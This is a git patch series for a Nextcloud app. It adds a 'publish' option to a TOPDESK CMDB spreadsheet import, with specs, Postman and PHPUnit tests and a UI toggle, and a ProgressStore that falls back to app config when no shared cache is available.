warnings; `importWarnings` are not included. +`appId` is the row's APPID, the match key (`''` when the row has none). `outcome` is one of `created`, `updated`, `unchanged`, `skipped`, `failed`. `reasons` and `warnings` are translated strings that name columns and values; a formula cell without a cached value gives the warning `Column "": formula without a cached value, read as empty`. They never contain owner names, e-mail addresses or other person data. `summary.rowsRead` counts the non-empty rows in the workbook; `summary.processed` counts the rows in `rows`, which is lower than `rowsRead` only after a cancel. `summary.warnings` counts row warnings; `importWarnings` are not included. `summary.unpublished` counts the modules this import created without a `publicationDate` (`publish=false`), including one whose row then failed at the usage step; it is 0 with `publish=true`. **Errors:** | Code | Condition | @@ -95,7 +96,7 @@ Returns the `ProgressTracker` snapshot for the `cmdb_import` operation: `progres | `FILE_TOO_LARGE` | too large | larger than the profile's `maxFileBytes` (10 MB), or stopped by PHP's `upload_max_filesize` or `post_max_size` | | `UPLOAD_FAILED` | upload not stored (500) | PHP reported `UPLOAD_ERR_NO_TMP_DIR`, `UPLOAD_ERR_CANT_WRITE` or `UPLOAD_ERR_EXTENSION`; logged | | `MISSING_RECORDS_UNSUPPORTED` | option not supported | `missingRecords` is not `keep` | -| `FIELD_INVALID` | malformed field (400) | `updateExisting` is not `true`, `false`, `1` or `0`, or `missingRecords`, `municipalityUuid` or `municipalityName` is sent as an array (`name[]=…`) | +| `FIELD_INVALID` | malformed field (400) | `updateExisting` or `publish` is not `true`, `false`, `1` or `0`, or `missingRecords`, `municipalityUuid` or `municipalityName` is sent as an array (`name[]=…`) | | `MUNICIPALITY_REQUIRED` | no consumer | neither `municipalityUuid` nor `municipalityName` given | | `MUNICIPALITY_INVALID` | wrong consumer | uuid unknown, or the organisation is not of type Municipality | | `MUNICIPALITY_AMBIGUOUS` | consumer not unique (422) | more than one live organisation of type Municipality (not `merged`, not `Inactive`) has the typed name after normalisation; the import does not guess and writes nothing | diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index 0755bc6f4..e90abc8b8 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -241,15 +241,15 @@ For each row the service SHALL compute `externalKey` = `topdesk::`, `publicationDate` = import start, `provider` set, and two usages with `consumer` = the municipality and `module` = the module - GIVEN the same import twice WHEN run THEN 0 created / 2 unchanged and no `saveObject()` call for unchanged objects; GIVEN a changed "Applicatie Naam" THEN one module updated; GIVEN a changed "Applicatie Code" for the same APPID THEN the same module updated, `website`, `publicationDate` and `depublicationDate` untouched - GIVEN `municipalityName` twice THEN one Municipality; GIVEN the uuid of a Supplier THEN `MUNICIPALITY_INVALID` - GIVEN "Vendor" "Fabfrikant", "Fabfrikant " and "FABFRIKANT" THEN one Supplier; GIVEN an existing Supplier with the same name THEN it is reused + - GIVEN `publish=false` THEN created modules have no `publicationDate` and `summary.unpublished` counts them, and an updated module keeps its `publicationDate`; GIVEN `publish=true` or no `publish` THEN created modules get the import start - GIVEN `updateExisting=false` THEN matched rows are `skipped` (`exists`); GIVEN a second export without one APPID THEN that module and usage are unchanged; GIVEN an unknown "Applicatie Status" THEN `status` is dropped with a warning naming column and value - GIVEN the module pack mapping "Software Suite" to licentietype (test-only pack) THEN the module carries it, with no code change - GIVEN a row from each sheet THEN the usage note starts with `Beheer geregeld: nee` (Onbeh) or `ja` (Beheerde), followed by the non-empty Cluster and Afdeling diff --git a/openspec/changes/cmdb-export-import/test-plan.md b/openspec/changes/cmdb-export-import/test-plan.md index b06ad6829..b6d329840 100644 --- a/openspec/changes/cmdb-export-import/test-plan.md +++ b/openspec/changes/cmdb-export-import/test-plan.md @@ -23,7 +23,7 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (ab - **test command**: Playwright `cmdb-import.spec.ts`; PHPUnit `CmdbExportImportServiceTest` ### TC-3: Changed fields update, publicationDate and unmapped fields are kept -- **spec_ref**: `spec.md#requirement-a-module-shall-be-matched-on-its-topdesk-appid-so-a-re-import-updates-instead-of-duplicating-req-cmdb-006`, `#requirement-a-newly-created-module-shall-get-a-publicationdate-and-an-existing-one-shall-keep-its-own-req-cmdb-007` +- **spec_ref**: `spec.md#requirement-a-module-shall-be-matched-on-its-topdesk-appid-so-a-re-import-updates-instead-of-duplicating-req-cmdb-006`, `#requirement-a-newly-created-module-shall-get-a-publicationdate-when-the-admin-publishes-and-an-existing-one-shall-keep-its-own-req-cmdb-007` - **type**: api - **preconditions**: modules imported; an admin set `website` on APPID `2` and depublished it - **steps**: import rows where "Applicatie Naam" of APPID `2` is `naamtest124`, and where the "Applicatie Code" of APPID `42` changed @@ -87,7 +87,7 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (ab - **test command**: PHPUnit `CmdbExportImportServiceTest`, `CmdbPersonDataVisibilityTest`, Playwright `cmdb-import.spec.ts` (anonymous test), `/test-security` ### TC-11: OpenCatalogi finds an imported application -- **spec_ref**: `spec.md#requirement-a-newly-created-module-shall-get-a-publicationdate-and-an-existing-one-shall-keep-its-own-req-cmdb-007` +- **spec_ref**: `spec.md#requirement-a-newly-created-module-shall-get-a-publicationdate-when-the-admin-publishes-and-an-existing-one-shall-keep-its-own-req-cmdb-007` - **type**: functional - **persona**: Sem de Jong (Young Digital Native; anonymous search) - **preconditions**: OpenCatalogi catalogue with registers `[stackiq]`, schemas `[module]`, listed and published (docs, prerequisites); TC-1 done diff --git a/postman/stackiq-tests.json b/postman/stackiq-tests.json index 0b747d062..cb80111f5 100644 --- a/postman/stackiq-tests.json +++ b/postman/stackiq-tests.json @@ -23158,6 +23158,81 @@ } ] }, + { + "name": "CMDB import: 400 FIELD_INVALID for publish=maybe", + "request": { + "method": "POST", + "header": [ + { + "key": "OCS-APIRequest", + "value": "true", + "type": "text" + } + ], + "url": { + "raw": "{{stackiq_api}}/cmdb-import", + "host": [ + "{{stackiq_api}}" + ], + "path": [ + "cmdb-import" + ] + }, + "auth": { + "type": "basic", + "basic": [ + { + "key": "username", + "value": "{{admin_user}}" + }, + { + "key": "password", + "value": "{{admin_pass}}" + } + ] + }, + "body": { + "mode": "formdata", + "formdata": [ + { + "key": "cmdbFile", + "type": "file", + "src": "tests/fixtures/cmdb/topdesk-export-anonymised.xlsx" + }, + { + "key": "municipalityName", + "value": "Gemeente Voorbeeldstad", + "type": "text" + }, + { + "key": "publish", + "value": "maybe", + "type": "text" + } + ] + } + }, + "response": [], + "event": [ + { + "listen": "test", + "script": { + "exec": [ + "pm.test(\"An unrecognised publish is refused, not read as true\", function () {", + " pm.response.to.have.status(400);", + " pm.expect(pm.response.json().error).to.eql(\"FIELD_INVALID\");", + "});", + "pm.test(\"The refusal names the field and the accepted values\", function () {", + " var details = pm.response.json().details;", + " pm.expect(details.field).to.eql(\"publish\");", + " pm.expect(details.accepted).to.eql([\"true\", \"false\"]);", + "});" + ], + "type": "text/javascript" + } + } + ] + }, { "name": "CMDB import: 422 MUNICIPALITY_REQUIRED without a municipality", "request": { diff --git a/src/utils/cmdbImport.js b/src/utils/cmdbImport.js index c2024cd03..8771bba63 100644 --- a/src/utils/cmdbImport.js +++ b/src/utils/cmdbImport.js @@ -140,14 +140,17 @@ export function checkFile(file) { * @param {File} options.file The export * @param {{uuid: string|null, name: string}} options.municipality The chosen municipality: an existing one has a uuid, a new one only a name * @param {boolean} options.updateExisting Whether matched rows are updated + * @param {boolean} [options.publish] Whether the modules the import creates are published; true when left out * @param {string} options.operationId The progress operation id * @return {FormData} The body * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-every-import-shall-have-exactly-one-consuming-municipality-chosen-by-the-admin-req-cmdb-004 + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-a-newly-created-module-shall-get-a-publicationdate-when-the-admin-publishes-and-an-existing-one-shall-keep-its-own-req-cmdb-007 */ export function buildImportForm({ file, municipality, updateExisting, + publish = true, operationId, }) { const form = new FormData() @@ -158,6 +161,7 @@ export function buildImportForm({ form.append('municipalityName', municipality.name) } form.append('updateExisting', updateExisting ? 'true' : 'false') + form.append('publish', publish ? 'true' : 'false') form.append('missingRecords', 'keep') form.append('operationId', operationId) return form diff --git a/src/utils/cmdbImport.spec.js b/src/utils/cmdbImport.spec.js index 34b852b4c..2b8597d77 100644 --- a/src/utils/cmdbImport.spec.js +++ b/src/utils/cmdbImport.spec.js @@ -136,6 +136,22 @@ describe('buildImportForm', () => { expect(form.get('municipalityName')).toBe('Berkel & Rodenrijs') expect(form.get('updateExisting')).toBe('false') }) + + it('publishes what the import creates unless told not to', () => { + const options = { + file, + municipality: { uuid: 'uuid-1', name: 'Tilburg' }, + updateExisting: true, + operationId: 'cmdb-abcdefgh', + } + expect(buildImportForm(options).get('publish')).toBe('true') + expect(buildImportForm({ ...options, publish: true }).get('publish')).toBe( + 'true', + ) + expect(buildImportForm({ ...options, publish: false }).get('publish')).toBe( + 'false', + ) + }) }) describe('the endpoints', () => { diff --git a/src/views/settings/sections/CmdbImport.vue b/src/views/settings/sections/CmdbImport.vue index 175233849..e1c2d8824 100644 --- a/src/views/settings/sections/CmdbImport.vue +++ b/src/views/settings/sections/CmdbImport.vue @@ -116,6 +116,23 @@ }}

+
+ + {{ t('stackiq', 'Publish the applications this import creates') }} + +

+ {{ + t( + 'stackiq', + 'A published application is visible to anyone, including anonymous visitors of OpenCatalogi. When off, the applications this import creates stay unpublished until you publish them by hand. Applications imported before keep their publication as it is.', + ) + }} +

+
@@ -470,6 +487,7 @@ export default { municipalityLoadError: '', selectedFile: null, updateExisting: true, + publish: true, importing: false, cancelling: false, cancelStatus: '', @@ -559,7 +577,11 @@ export default { { key: 'skipped', label: t('stackiq', 'Skipped') }, { key: 'failed', label: t('stackiq', 'Failed') }, { key: 'warnings', label: t('stackiq', 'Warnings') }, - ].map((tile) => ({ ...tile, value: Number(summary[tile.key]) || 0 })) + { key: 'unpublished', label: t('stackiq', 'Created unpublished') }, + ] + .map((tile) => ({ ...tile, value: Number(summary[tile.key]) || 0 })) + // Only an import run with publishing off leaves modules unpublished. + .filter((tile) => tile.key !== 'unpublished' || tile.value > 0) }, /** @@ -890,6 +912,7 @@ export default { name: this.municipality.label, }, updateExisting: this.updateExisting, + publish: this.publish, operationId: this.operationId, }) const response = await axios.post(importUrl(), form) diff --git a/tests/Unit/Controller/CmdbImportControllerTest.php b/tests/Unit/Controller/CmdbImportControllerTest.php index 072b88df2..88fd2fa58 100644 --- a/tests/Unit/Controller/CmdbImportControllerTest.php +++ b/tests/Unit/Controller/CmdbImportControllerTest.php @@ -528,6 +528,7 @@ public function testAValidUploadReturnsTheReport(): void { 'municipalityUuid' => '', 'municipalityName' => 'Gemeente Voorbeeldstad', 'updateExisting' => false, + 'publish' => true, 'operationId' => 'cmdb-00000000-0000-0000-0000-000000000000', 'fileName' => 'export.xlsx', ] @@ -561,6 +562,7 @@ public function testTheFieldsReachTheServiceAsSent(): void { 'municipalityUuid' => '00000000-0000-0000-0000-000000000001', 'municipalityName' => 'Gemeente Voorbeeldstad', 'updateExisting' => true, + 'publish' => true, 'operationId' => 'not-a-cmdb-id', 'fileName' => 'export.xlsx', ] @@ -681,6 +683,45 @@ public function testUpdateExistingAcceptsOnlyExplicitValues(mixed $value, ?bool $this->assertSame(200, $response->getStatus()); }//end testUpdateExistingAcceptsOnlyExplicitValues() + /** + * Only true/false and 1/0 decide whether created modules are published; anything else is 400 FIELD_INVALID. + * + * The spellings are those of updateExisting: a typo never publishes what the admin chose to keep unpublished. + * + * @param mixed $value The form value, or null for an absent field. + * @param bool|null $expected The value passed to the import, or null for a refusal. + * + * @return void + */ + #[DataProvider('updateExistingValues')] + public function testPublishAcceptsOnlyExplicitValues(mixed $value, ?bool $expected): void { + $service = $this->service(); + $params = ['municipalityName' => 'Gemeente Voorbeeldstad']; + if ($value !== null) { + $params['publish'] = $value; + } + + if ($expected === null) { + $service->expects($this->never())->method('import'); + } else { + $service->expects($this->once())->method('import') + ->with($this->anything(), $this->callback(fn (array $options): bool => $options['publish'] === $expected)) + ->willReturn(['success' => true]); + } + + $response = $this->controller(file: $this->file(path: $this->upload()), params: $params, service: $service)->import(); + + if ($expected === null) { + $this->assertSame(400, $response->getStatus()); + $this->assertSame('FIELD_INVALID', $response->getData()['error']); + $this->assertEquals((object)['field' => 'publish', 'accepted' => ['true', 'false']], $response->getData()['details']); + $this->assertSame('Field "publish" must be one of: true, false.', $response->getData()['message']); + return; + } + + $this->assertSame(200, $response->getStatus()); + }//end testPublishAcceptsOnlyExplicitValues() + /** * A text field sent as an array is 400 FIELD_INVALID naming it, not the string "Array". * diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 390b6de65..d45fb1632 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -805,7 +805,7 @@ public function testTheFixtureCreatesModulesUsagesAndSuppliers(): void { $this->assertTrue($report['success']); $this->assertFalse($report['cancelled']); $this->assertSame('cmdb-test-0001', $report['operationId']); - $this->assertSame(['rowsRead' => 2, 'processed' => 2, 'created' => 2, 'updated' => 0, 'unchanged' => 0, 'skipped' => 0, 'failed' => 0, 'warnings' => 0], $report['summary']); + $this->assertSame(['rowsRead' => 2, 'processed' => 2, 'created' => 2, 'updated' => 0, 'unchanged' => 0, 'skipped' => 0, 'failed' => 0, 'warnings' => 0, 'unpublished' => 0], $report['summary']); $this->assertSame('Gemeente Voorbeeldstad', $report['municipality']['name']); $this->assertTrue($report['municipality']['created']); $this->assertSame(['No municipality named "Gemeente Voorbeeldstad" was found, so it was created. Check the name if you meant an existing one.'], array_column($report['importWarnings'], 'message'), 'only the warning that the municipality was created'); @@ -1154,6 +1154,43 @@ public function testAnUpdateNeverWritesPublicationDate(): void { $this->assertSame('Applicatie 1', $this->store[self::MODULE]['mod-1']['name']); }//end testAnUpdateNeverWritesPublicationDate() + /** + * With publish false a created module gets no publicationDate and is counted; with true it gets the start time. + * + * An update leaves publicationDate as it was either way. + * + * @return void + */ + public function testPublishDecidesThePublicationDateOfCreatedModulesOnly(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->store[self::MODULE]['mod-old'] = [ + 'id' => 'mod-old', + 'name' => 'Oud', + 'externalKey' => 'topdesk:muni-1:1', + 'publicationDate' => '2026-01-01T00:00:00+00:00', + ]; + $rows = [$this->row(appId: '1', row: 2), $this->row(appId: '2', row: 3), $this->row(appId: '3', row: 4)]; + + $report = $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1', 'publish' => false]); + + $this->assertSame(['updated', 'created', 'created'], array_column($report['rows'], 'outcome')); + $this->assertSame(2, $report['summary']['unpublished']); + $this->assertSame('2026-01-01T00:00:00+00:00', $this->store[self::MODULE]['mod-old']['publicationDate'], 'an update keeps it'); + foreach ([$report['rows'][1]['moduleUuid'], $report['rows'][2]['moduleUuid']] as $uuid) { + $this->assertArrayNotHasKey('publicationDate', $this->store[self::MODULE][$uuid]); + } + + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '4', row: 2)]))->import(path: '', options: ['municipalityUuid' => 'muni-1', 'publish' => true]); + + $this->assertSame(0, $report['summary']['unpublished']); + $published = $this->store[self::MODULE][$report['rows'][0]['moduleUuid']]['publicationDate']; + $this->assertMatchesRegularExpression('/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\+00:00$/', $published); + $this->assertSame('2026-01-01T00:00:00+00:00', $this->store[self::MODULE]['mod-old']['publicationDate']); + + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '5', row: 2)]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $this->assertArrayHasKey('publicationDate', $this->store[self::MODULE][$report['rows'][0]['moduleUuid']], 'publish defaults to true'); + }//end testPublishDecidesThePublicationDateOfCreatedModulesOnly() + /** * A municipality uuid must be an organisation of type Municipality. * @@ -1549,7 +1586,7 @@ public function getObject(): array { }//end testAnImportedContactPersonIsNeverAUser() /** - * An import logs who ran it, on which file and municipality, with which updateExisting, and the counts. + * An import logs who ran it, on which file and municipality, with which updateExisting and publish, and the counts. * * @return void */ @@ -1557,10 +1594,10 @@ public function testAnImportLeavesAnAuditRecord(): void { $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import( path: '', - options: ['municipalityUuid' => 'muni-1', 'updateExisting' => false, 'operationId' => 'cmdb-audit-01', 'fileName' => 'C:\\Users\\beheer\\export.xlsx'] + options: ['municipalityUuid' => 'muni-1', 'updateExisting' => false, 'publish' => false, 'operationId' => 'cmdb-audit-01', 'fileName' => 'C:\\Users\\beheer\\export.xlsx'] ); - $audit = '"operationId":"cmdb-audit-01","uid":"admin","fileName":"export.xlsx","municipality":"muni-1","municipalityCreated":false,"updateExisting":false'; + $audit = '"operationId":"cmdb-audit-01","uid":"admin","fileName":"export.xlsx","municipality":"muni-1","municipalityCreated":false,"updateExisting":false,"publish":false'; $started = array_values(array_filter($this->logLines, static fn (string $line): bool => str_starts_with($line, 'CmdbExportImportService: import started'))); $finished = array_values(array_filter($this->logLines, static fn (string $line): bool => str_starts_with($line, 'CmdbExportImportService: import finished'))); $this->assertCount(1, $started); @@ -1633,7 +1670,7 @@ public function testOneBadRowDoesNotStopTheOthers(): void { $this->assertSame(['created', 'failed', 'created'], array_column($report['rows'], 'outcome')); $this->assertStringStartsWith('step "module" failed', $report['rows'][1]['reasons'][0]); - $this->assertSame(['rowsRead' => 3, 'processed' => 3, 'created' => 2, 'updated' => 0, 'unchanged' => 0, 'skipped' => 0, 'failed' => 1, 'warnings' => 0], $report['summary']); + $this->assertSame(['rowsRead' => 3, 'processed' => 3, 'created' => 2, 'updated' => 0, 'unchanged' => 0, 'skipped' => 0, 'failed' => 1, 'warnings' => 0, 'unpublished' => 0], $report['summary']); $this->assertCount(2, $this->store[self::MODULE]); }//end testOneBadRowDoesNotStopTheOthers() From 33360d015cfef2b4fa518259ec1406e1a2f1875e Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 13:06:10 +0200 Subject: [PATCH 138/176] fix(progress): keep progress and cancel in the app config without a shared cache Without a memcache, Nextcloud's distributed cache is a NullCache, so every progress read returned null and every cancel was lost; with APCu alone the cache is per server and per process, so a cancel or a cron job's progress could land where the reader never looks. ProgressStore now uses the distributed cache only when memcache.distributed (or memcache.local, which it falls back to) names a shared backend. Otherwise the snapshot and the cancel flag go into lazy app config entries with an expiry: reads bypass the request's config cache, a running operation writes at most once a second per phase, cancel is read at most once a second, and expired entries are removed when the next operation starts. Co-Authored-By: Claude Opus 5.5 (1M context) --- lib/AppInfo/Application.php | 4 +- lib/Service/ProgressStore.php | 317 ++++++++++++++++++ lib/Service/ProgressTracker.php | 57 ++-- .../specs/sync-status-and-progress/spec.md | 9 +- .../Service/ArchiMateImportProgressTest.php | 8 +- .../Service/ArchiMateServiceCancelTest.php | 7 +- .../Service/CmdbExportImportServiceTest.php | 12 +- .../Service/ProgressTrackerCancelTest.php | 8 +- tests/Unit/Service/ProgressTrackerTest.php | 204 ++++++++++- 9 files changed, 587 insertions(+), 39 deletions(-) create mode 100644 lib/Service/ProgressStore.php diff --git a/lib/AppInfo/Application.php b/lib/AppInfo/Application.php index a185d5a50..1779ee718 100644 --- a/lib/AppInfo/Application.php +++ b/lib/AppInfo/Application.php @@ -599,7 +599,9 @@ function ($container) { return new ProgressTracker( cacheFactory: $container->get(ICacheFactory::class), userSession: $container->get('OCP\IUserSession'), - logger: $container->get('Psr\Log\LoggerInterface') + logger: $container->get('Psr\Log\LoggerInterface'), + config: $container->get(IConfig::class), + appConfig: $container->get(IAppConfig::class) ); } ); diff --git a/lib/Service/ProgressStore.php b/lib/Service/ProgressStore.php new file mode 100644 index 000000000..0a01c5e4b --- /dev/null +++ b/lib/Service/ProgressStore.php @@ -0,0 +1,317 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: 1.0.0 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md#requirement-req-ssp-001-progress-of-a-long-operation-shall-be-readable-from-any-request-and-only-by-users-allowed-to-read-it + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service; + +use OCA\Stackiq\AppInfo\Application; +use OCP\IAppConfig; +use OCP\ICache; +use OCP\ICacheFactory; +use OCP\IConfig; + +/** + * Entries that live STORE_TTL seconds and that every request can read. + * + * The store is Nextcloud's distributed cache when every server and the CLI + * share it (Redis, Memcached). Without such a cache (no memcache at all, or + * only APCu, which each node and the CLI keep to themselves) the app config + * stands in: the database every request reads. Writes of a running operation + * there are spaced out to one per second, cancel requests are read at most + * once a second, and every read goes to the database rather than to the + * config cache of the reading request. + * + * @spec openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md#requirement-req-ssp-001-progress-of-a-long-operation-shall-be-readable-from-any-request-and-only-by-users-allowed-to-read-it + */ +class ProgressStore { + + /** + * How long an entry lives after its last write, in seconds. + */ + public const STORE_TTL = 3600; + + /** + * Cache classes not shared between servers or between the web server and the CLI. + */ + private const UNSHARED_CACHES = [ + '', + 'OC\Memcache\APCu', + 'OC\Memcache\ArrayCache', + 'OC\Memcache\NullCache', + ]; + + /** + * Key prefix of the app config entries that stand in for the cache. + */ + private const CONFIG_PREFIX = 'op_'; + + /** + * Least number of seconds between two app config writes or cancel reads of one operation. + */ + private const CONFIG_INTERVAL = 1; + + /** + * The shared cache, or null when the app config stands in for it. + * + * @var ICache|null + */ + private ?ICache $cache = null; + + /** + * Per operation: when this request last wrote its snapshot to the app config, and in which phase and status. + * + * @var array + */ + private array $lastWrites = []; + + /** + * Per operation: the cancel answer this request last read from the app config. + * + * @var array + */ + private array $cancelChecks = []; + + /** + * Constructor. + * + * @param ICacheFactory $cacheFactory The cache factory. + * @param IConfig $config System config, which names the distributed cache class. + * @param IAppConfig $appConfig App config, the store when no shared cache is configured. + * + * @spec openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md#requirement-req-ssp-001-progress-of-a-long-operation-shall-be-readable-from-any-request-and-only-by-users-allowed-to-read-it + */ + public function __construct( + ICacheFactory $cacheFactory, + IConfig $config, + private readonly IAppConfig $appConfig, + ) { + if (self::hasSharedCache(cacheFactory: $cacheFactory, config: $config) === true) { + $this->cache = $cacheFactory->createDistributed(prefix: 'stackiq_progress'); + } + }//end __construct() + + /** + * Whether the distributed cache is one every server and the CLI share. + * + * Nextcloud falls back to the local cache class when `memcache.distributed` + * is not set, and to a cache that keeps nothing when no memcache is set at all. + * + * @param ICacheFactory $cacheFactory The cache factory. + * @param IConfig $config The system config. + * + * @return bool True for a shared cache such as Redis or Memcached. + */ + private static function hasSharedCache(ICacheFactory $cacheFactory, IConfig $config): bool { + if ($cacheFactory->isAvailable() === false) { + return false; + } + + $class = $config->getSystemValueString('memcache.distributed', ''); + if ($class === '') { + $class = $config->getSystemValueString('memcache.local', ''); + } + + return in_array(ltrim($class, '\\'), self::UNSHARED_CACHES, true) === false; + }//end hasSharedCache() + + /** + * Store an operation's snapshot. + * + * In the app config a running operation that stays in the same phase is + * written at most once a second; a new phase or status is always written. + * + * @param string $operationId The operation. + * @param array $progress The snapshot. + * + * @return void + * + * @spec openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md#requirement-req-ssp-001-progress-of-a-long-operation-shall-be-readable-from-any-request-and-only-by-users-allowed-to-read-it + */ + public function setProgress(string $operationId, array $progress): void { + if ($this->cache === null) { + $state = ($progress['status'] ?? '') . '/' . ($progress['phase'] ?? ''); + $last = ($this->lastWrites[$operationId] ?? null); + if ($last !== null && ($progress['status'] ?? null) === 'running' && $last['state'] === $state && time() - $last['at'] < self::CONFIG_INTERVAL) { + return; + } + + $this->lastWrites[$operationId] = ['at' => time(), 'state' => $state]; + } + + $this->set(key: 'progress_' . $operationId, value: $progress); + }//end setProgress() + + /** + * Read an operation's snapshot. + * + * @param string $operationId The operation. + * + * @return array|null The snapshot, or null when there is none or it expired. + * + * @spec openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md#requirement-req-ssp-001-progress-of-a-long-operation-shall-be-readable-from-any-request-and-only-by-users-allowed-to-read-it + */ + public function getProgress(string $operationId): ?array { + $progress = $this->get(key: 'progress_' . $operationId); + if (is_array($progress) === true) { + return $progress; + } + + return null; + }//end getProgress() + + /** + * Record a cancel request for an operation. + * + * @param string $operationId The operation. + * + * @return void + * + * @spec openspec/specs/archimate-import-progress/spec.md#requirement-req-aip-002-an-admin-shall-be-able-to-cancel-a-running-import + */ + public function requestCancel(string $operationId): void { + $this->set(key: 'cancel_' . $operationId, value: true); + }//end requestCancel() + + /** + * Whether a cancel was requested for an operation. + * + * An import asks between every few rows; the app config is read at most + * once a second per operation, and a cancel once seen stays seen. + * + * @param string $operationId The operation. + * + * @return bool True when a cancel was requested. + * + * @spec openspec/specs/archimate-import-progress/spec.md#requirement-req-aip-002-an-admin-shall-be-able-to-cancel-a-running-import + */ + public function isCancelRequested(string $operationId): bool { + if ($this->cache !== null) { + return $this->cache->get(key: 'cancel_' . $operationId) === true; + } + + $last = ($this->cancelChecks[$operationId] ?? null); + if ($last !== null && ($last['cancelled'] === true || time() - $last['at'] < self::CONFIG_INTERVAL)) { + return $last['cancelled']; + } + + $cancelled = $this->get(key: 'cancel_' . $operationId) === true; + $this->cancelChecks[$operationId] = ['at' => time(), 'cancelled' => $cancelled]; + + return $cancelled; + }//end isCancelRequested() + + /** + * Forget the cancel request of an operation that stopped. + * + * @param string $operationId The operation. + * + * @return void + * + * @spec openspec/specs/archimate-import-progress/spec.md#requirement-req-aip-002-an-admin-shall-be-able-to-cancel-a-running-import + */ + public function clearCancel(string $operationId): void { + unset($this->cancelChecks[$operationId]); + if ($this->cache !== null) { + $this->cache->remove(key: 'cancel_' . $operationId); + return; + } + + $this->appConfig->deleteKey(Application::APP_ID, self::configKey(key: 'cancel_' . $operationId)); + }//end clearCancel() + + /** + * Delete app config entries whose time is up; the cache drops its own. + * + * @return void + * + * @spec openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md#requirement-req-ssp-001-progress-of-a-long-operation-shall-be-readable-from-any-request-and-only-by-users-allowed-to-read-it + */ + public function removeExpired(): void { + if ($this->cache !== null) { + return; + } + + foreach ($this->appConfig->searchKeys(Application::APP_ID, self::CONFIG_PREFIX, lazy: true) as $configKey) { + $entry = $this->appConfig->getValueArray(Application::APP_ID, $configKey, [], lazy: true); + if ((int) ($entry['expires'] ?? 0) < time()) { + $this->appConfig->deleteKey(Application::APP_ID, $configKey); + } + } + }//end removeExpired() + + /** + * Read an entry. + * + * The app config is read from the database, not from this request's config + * cache, so a value another request wrote a moment ago is seen. + * + * @param string $key The entry. + * + * @return mixed The value, or null when there is none or it expired. + */ + private function get(string $key): mixed { + if ($this->cache !== null) { + return $this->cache->get(key: $key); + } + + $this->appConfig->clearCache(); + $entry = $this->appConfig->getValueArray(Application::APP_ID, self::configKey(key: $key), [], lazy: true); + if ((int) ($entry['expires'] ?? 0) < time()) { + return null; + } + + return ($entry['value'] ?? null); + }//end get() + + /** + * Write an entry that lives STORE_TTL seconds. + * + * @param string $key The entry. + * @param mixed $value The value. + * + * @return void + */ + private function set(string $key, mixed $value): void { + if ($this->cache !== null) { + $this->cache->set(key: $key, value: $value, ttl: self::STORE_TTL); + return; + } + + $this->appConfig->setValueArray( + Application::APP_ID, + self::configKey(key: $key), + ['expires' => time() + self::STORE_TTL, 'value' => $value], + lazy: true + ); + }//end set() + + /** + * The app config key of an entry, hashed: an operation id may be longer than a key may be (64). + * + * @param string $key The entry, `progress_` or `cancel_`. + * + * @return string The app config key. + */ + private static function configKey(string $key): string { + [$kind, $operationId] = array_pad(explode('_', $key, 2), 2, ''); + + return self::CONFIG_PREFIX . $kind . '_' . sha1($operationId); + }//end configKey() +}//end class diff --git a/lib/Service/ProgressTracker.php b/lib/Service/ProgressTracker.php index a2b90aa75..bfc8601ff 100644 --- a/lib/Service/ProgressTracker.php +++ b/lib/Service/ProgressTracker.php @@ -19,8 +19,9 @@ namespace OCA\Stackiq\Service; -use OCP\ICache; +use OCP\IAppConfig; use OCP\ICacheFactory; +use OCP\IConfig; use OCP\IUserSession; use Psr\Log\LoggerInterface; @@ -29,8 +30,10 @@ * * Progress lives in Nextcloud's distributed cache, not in the user's session, * so a background job can write it and any other request (another login, an - * admin, the request after a cron run) can read it. Who may read an operation - * is decided by SettingsController::getProgress(), not by where it is stored. + * admin, the request after a cron run) can read it. Without a cache every + * server and the CLI share, ProgressStore keeps it in the app config instead. + * Who may read an operation is decided by SettingsController::getProgress(), + * not by where it is stored. * * @SuppressWarnings(PHPMD.TooManyPublicMethods) Each public method is one step of an * operation's life (start, phase, progress, warning, error, statistics, complete, fail, @@ -86,23 +89,20 @@ class ProgressTracker { ]; /** - * How long a stored snapshot lives after its last write, in seconds. - */ - private const STORE_TTL = 3600; - - /** - * The shared store for progress snapshots. + * The shared store for progress snapshots and cancel requests. * - * @var ICache + * @var ProgressStore */ - private ICache $store; + private ProgressStore $store; /** * Constructor for ProgressTracker * - * @param ICacheFactory $cacheFactory Cache factory; progress goes into its distributed cache + * @param ICacheFactory $cacheFactory Cache factory; progress goes into its distributed cache when that is shared 